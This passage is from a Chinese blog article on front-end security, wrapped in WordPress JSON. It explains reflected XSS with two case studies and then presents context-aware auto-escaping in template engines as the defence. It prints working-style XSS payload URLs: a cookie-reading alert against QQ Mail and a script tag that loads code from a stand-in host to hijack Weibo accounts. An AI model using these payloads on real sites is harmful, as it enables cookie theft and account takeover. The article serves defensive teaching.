                                                                                          \u4e8e\u662f\u653b\u51fb\u8005\u6784\u5efa\u51fa\u4e00\u4e2a URL\uff0c\u5e76\u5f15\u5bfc\u7528\u6237\u53bb\u70b9\u51fb\uff1a<\/p>\n
                                                                                          http:\/\/m.exmail.qq.com\/cgi-bin\/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B<\/p>\n
                                                                                          \u7528\u6237\u70b9\u51fb\u8fd9\u4e2a URL \u65f6\uff0c\u670d\u52a1\u7aef\u53d6\u51fa URL \u53c2\u6570\uff0c\u62fc\u63a5\u5230 HTML \u54cd\u5e94\u4e2d\uff1a <\/p>\n
                                                                                          \n \n \n 
                                                                                            \n  \n  \n  
                                                                                          1. <<\/span>script<\/span>><\/span> <\/span><\/span><\/li>\n  \n  \n  
                                                                                          2.  <\/span><\/li>\n  \n  \n  
                                                                                          3. getTop().location.href<\/span>=<\/span>\"\/cgi-bin\/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa\"<\/span>+\"&<\/span>t<\/span>=<\/span>\"+\"<\/span>&<\/span>d<\/span>=bbbb<\/span>\";return false;<\/script><script>alert(document.cookie)<\/script>\"<\/span>+\"... <\/span><\/span> <\/li>\n \n \n <\/ol><\/pre>\n
                                                                                            \u6d4f\u89c8\u5668\u63a5\u6536\u5230\u54cd\u5e94\u540e\u5c31\u4f1a\u6267\u884c alert(document.cookie)\uff0c\u653b\u51fb\u8005\u901a\u8fc7 JavaScript \u5373\u53ef\u7a83\u53d6\u5f53\u524d\u7528\u6237\u5728 QQ \u90ae\u7bb1\u57df\u540d\u4e0b\u7684 Cookie \uff0c\u8fdb\u800c\u5371\u5bb3\u6570\u636e\u5b89\u5168\u3002<\/p>\n
                                                                                            \u65b0\u6d6a\u5fae\u535a\u540d\u4eba\u5802\u53cd\u5c04\u578b XSS \u6f0f\u6d1e<\/strong><\/p>\n
                                                                                            \u653b\u51fb\u8005\u53d1\u73b0 http:\/\/weibo.com\/pub\/star\/g\/xyyyd \u8fd9\u4e2a URL \u7684\u5185\u5bb9\u672a\u7ecf\u8fc7\u6ee4\u76f4\u63a5\u8f93\u51fa\u5230 HTML \u4e2d\u3002<\/p>\n
                                                                                            \u4e8e\u662f\u653b\u51fb\u8005\u6784\u5efa\u51fa\u4e00\u4e2a URL\uff0c\u7136\u540e\u8bf1\u5bfc\u7528\u6237\u53bb\u70b9\u51fb\uff1a<\/p>\n
                                                                                            http:\/\/weibo.com\/pub\/star\/g\/xyyyd\"><script src=\/\/xxxx.cn\/image\/t.js><\/script><\/p>\n
                                                                                            \u7528\u6237\u70b9\u51fb\u8fd9\u4e2a URL \u65f6\uff0c\u670d\u52a1\u7aef\u53d6\u51fa\u8bf7\u6c42 URL\uff0c\u62fc\u63a5\u5230 HTML \u54cd\u5e94\u4e2d\uff1a <\/p>\n
                                                                                            \n \n \n 
                                                                                              \n  \n  \n  
                                                                                            1. <<\/span>li<\/span>><\/span><<\/span>a<\/span> <\/span>href<\/span>=<\/span>\"http:\/\/weibo.com\/pub\/star\/g\/xyyyd\"<\/span>><\/span><<\/span>script<\/span> <\/span>src<\/span>=\/\/xxxx.cn\/image\/t.js<\/span>><\/span><\/<\/span>script<\/span>><\/span>\"<\/span>><\/span>\u6309\u5206\u7c7b\u68c0\u7d22<\/span><\/<\/span>a<\/span>><\/span><\/<\/span>li<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                                                                                              \u6d4f\u89c8\u5668\u63a5\u6536\u5230\u54cd\u5e94\u540e\u5c31\u4f1a\u52a0\u8f7d\u6267\u884c\u6076\u610f\u811a\u672c \/\/xxxx.cn\/image\/t.js\uff0c\u5728\u6076\u610f\u811a\u672c\u4e2d\u5229\u7528\u7528\u6237\u7684\u767b\u5f55\u72b6\u6001\u8fdb\u884c\u5173\u6ce8\u3001\u53d1\u5fae\u535a\u3001\u53d1\u79c1\u4fe1\u7b49\u64cd\u4f5c\uff0c\u53d1\u51fa\u7684\u5fae\u535a\u548c\u79c1\u4fe1\u53ef\u518d\u5e26\u4e0a\u653b\u51fb URL\uff0c\u8bf1\u5bfc\u66f4\u591a\u4eba\u70b9\u51fb\uff0c\u4e0d\u65ad\u653e\u5927\u653b\u51fb\u8303\u56f4\u3002\u8fd9\u79cd\u7a83\u7528\u53d7\u5bb3\u8005\u8eab\u4efd\u53d1\u5e03\u6076\u610f\u5185\u5bb9\uff0c\u5c42\u5c42\u653e\u5927\u653b\u51fb\u8303\u56f4\u7684\u65b9\u5f0f\uff0c\u88ab\u79f0\u4e3a\u201cXSS \u8815\u866b\u201d\u3002<\/p>\n
                                                                                              \u6269\u5c55\u9605\u8bfb\uff1aAutomatic Context-Aware Escaping<\/strong><\/p>\n
                                                                                              \u4e0a\u6587\u6211\u4eec\u8bf4\u5230\uff1a<\/p>\n
                                                                                                \n
                                                                                              1.  \u5408\u9002\u7684 HTML \u8f6c\u4e49\u53ef\u4ee5\u6709\u6548\u907f\u514d XSS \u6f0f\u6d1e\u3002<\/li>\n
                                                                                              2.  \u5b8c\u5584\u7684\u8f6c\u4e49\u5e93\u9700\u8981\u9488\u5bf9\u4e0a\u4e0b\u6587\u5236\u5b9a\u591a\u79cd\u89c4\u5219\uff0c\u4f8b\u5982 HTML \u5c5e\u6027\u3001HTML \u6587\u5b57\u5185\u5bb9\u3001HTML \u6ce8\u91ca\u3001\u8df3\u8f6c\u94fe\u63a5\u3001\u5185\u8054 JavaScript \u5b57\u7b26\u4e32\u3001\u5185\u8054 CSS \u6837\u5f0f\u8868\u7b49\u7b49\u3002<\/li>\n
                                                                                              3.  \u4e1a\u52a1 RD \u9700\u8981\u6839\u636e\u6bcf\u4e2a\u63d2\u5165\u70b9\u6240\u5904\u7684\u4e0a\u4e0b\u6587\uff0c\u9009\u53d6\u4e0d\u540c\u7684\u8f6c\u4e49\u89c4\u5219\u3002<\/li>\n<\/ol>\n
                                                                                                \u901a\u5e38\uff0c\u8f6c\u4e49\u5e93\u662f\u4e0d\u80fd\u5224\u65ad\u63d2\u5165\u70b9\u4e0a\u4e0b\u6587\u7684\uff08Not Context-Aware\uff09\uff0c\u5b9e\u65bd\u8f6c\u4e49\u89c4\u5219\u7684\u8d23\u4efb\u5c31\u843d\u5230\u4e86\u4e1a\u52a1 RD \u8eab\u4e0a\uff0c\u9700\u8981\u6bcf\u4e2a\u4e1a\u52a1 RD \u90fd\u5145\u5206\u7406\u89e3 XSS \u7684\u5404\u79cd\u60c5\u51b5\uff0c\u5e76\u4e14\u9700\u8981\u4fdd\u8bc1\u6bcf\u4e00\u4e2a\u63d2\u5165\u70b9\u4f7f\u7528\u4e86\u6b63\u786e\u7684\u8f6c\u4e49\u89c4\u5219\u3002<\/p>\n
                                                                                                \u8fd9\u79cd\u673a\u5236\u5de5\u4f5c\u91cf\u5927\uff0c\u5168\u9760\u4eba\u5de5\u4fdd\u8bc1\uff0c\u5f88\u5bb9\u6613\u9020\u6210 XSS \u6f0f\u6d1e\uff0c\u5b89\u5168\u4eba\u5458\u4e5f\u5f88\u96be\u53d1\u73b0\u9690\u60a3\u3002<\/p>\n
                                                                                                2009\u5e74\uff0cGoogle \u63d0\u51fa\u4e86\u4e00\u4e2a\u6982\u5ff5\u53eb\u505a\uff1aAutomatic Context-Aware Escaping\u3002<\/p>\n
                                                                                                \u6240\u8c13 Context-Aware\uff0c\u5c31\u662f\u8bf4\u6a21\u677f\u5f15\u64ce\u5728\u89e3\u6790\u6a21\u677f\u5b57\u7b26\u4e32\u7684\u65f6\u5019\uff0c\u5c31\u89e3\u6790\u6a21\u677f\u8bed\u6cd5\uff0c\u5206\u6790\u51fa\u6bcf\u4e2a\u63d2\u5165\u70b9\u6240\u5904\u7684\u4e0a\u4e0b\u6587\uff0c\u636e\u6b64\u81ea\u52a8\u9009\u7528\u4e0d\u540c\u7684\u8f6c\u4e49\u89c4\u5219\u3002\u8fd9\u6837\u5c31\u51cf\u8f7b\u4e86\u4e1a\u52a1 RD \u7684\u5de5\u4f5c\u8d1f\u62c5\uff0c\u4e5f\u51cf\u5c11\u4e86\u4eba\u4e3a\u5e26\u6765\u7684\u758f\u6f0f\u3002<\/p>\n
                                                                                                \u5728\u4e00\u4e2a\u652f\u6301 Automatic Context-Aware Escaping \u7684\u6a21\u677f\u5f15\u64ce\u91cc\uff0c\u4e1a\u52a1 RD \u53ef\u4ee5\u8fd9\u6837\u5b9a\u4e49\u6a21\u677f\uff0c\u800c\u65e0\u9700\u624b\u52a8\u5b9e\u65bd\u8f6c\u4e49\u89c4\u5219\uff1a <\/p>\n
                                                                                                \n \n \n 
                                                                                                  \n  \n  \n  
                                                                                                1. <<\/span>html<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                2.   <<\/span>head<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                3.     <<\/span>meta<\/span> <\/span>charset<\/span>=<\/span>\"UTF-8\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                4.     <<\/span>title<\/span>><\/span>{{.title}}<\/span><\/<\/span>title<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                5.   <\/<\/span>head<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                6.   <<\/span>body<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                7.     <<\/span>a<\/span> <\/span>href<\/span>=<\/span>\"{{.url}}\"<\/span>><\/span>{{.content}}<\/span><\/<\/span>a<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                8.   <\/<\/span>body<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                9. <\/<\/span>html<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                                                                                                  \u6a21\u677f\u5f15\u64ce\u7ecf\u8fc7\u89e3\u6790\u540e\uff0c\u5f97\u77e5\u4e09\u4e2a\u63d2\u5165\u70b9\u6240\u5904\u7684\u4e0a\u4e0b\u6587\uff0c\u81ea\u52a8\u9009\u7528\u76f8\u5e94\u7684\u8f6c\u4e49\u89c4\u5219\uff1a <\/p>\n
                                                                                                  \n \n \n 
                                                                                                    \n  \n  \n  
                                                                                                  1. <<\/span>html<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                  2.   <<\/span>head<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                  3.     <<\/span>meta<\/span> <\/span>charset<\/span>=<\/span>\"UTF-8\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                  4.     <<\/span>title<\/span>><\/span>{{.title | htmlescaper}}<\/span><\/<\/span>title<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                  5.   <\/<\/span>head<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                  6.   <<\/span>body<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                  7.     <<\/span>a<\/span> <\/span>href<\/span>=<\/span>\"{{.url | urlescaper | attrescaper}}\"<\/span>><\/span>{{.content | htmlescaper}}<\/span><\/<\/span>a<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                  8.   <\/<\/span>body<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                                                                                                  9. <\/<\/span>html<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                                                                                                    \u76ee\u524d\u5df2\u7ecf\u652f\u6301 Automatic Context-Aware Escaping \u7684\u6a21\u677f\u5f15\u64ce\u6709\uff1a<\/p>\n
                                                                                                      \n
                                                                                                    •  go html\/template<\/li>\n
                                                                                                    •  Google Closure Templates <\/li>\n<\/ul>\n
                                                                                                       <\/p>\n","protected":false},"excerpt":{"rendered":"
                                                                                                      [[245811]]  \u524d\u7aef\u5b89\u5168 \u968f\u7740\u4e92\u8054\u7f51\u7684\u9ad8\u901f\u53d1\u5c55\uff0c\u4fe1\u606f\u5b89\u5168\u95ee\u9898\u5df2\u7ecf\u6210\u4e3a\u4f01\u4e1a\u6700\u4e3a\u5173\u6ce8\u7684\u7126\u70b9\u4e4b\u4e00\uff0c […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[202645],"tags":[],"class_list":["post-286346","post","type-post","status-publish","format-standard","hentry","category-202645"],"_links":{"self":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts\/286346","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/comments?post=286346"}],"version-history":[{"count":0,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts\/286346\/revisions"}],"wp:attachment":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/media?parent=286346"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/categories?post=286346"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/tags?post=286346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}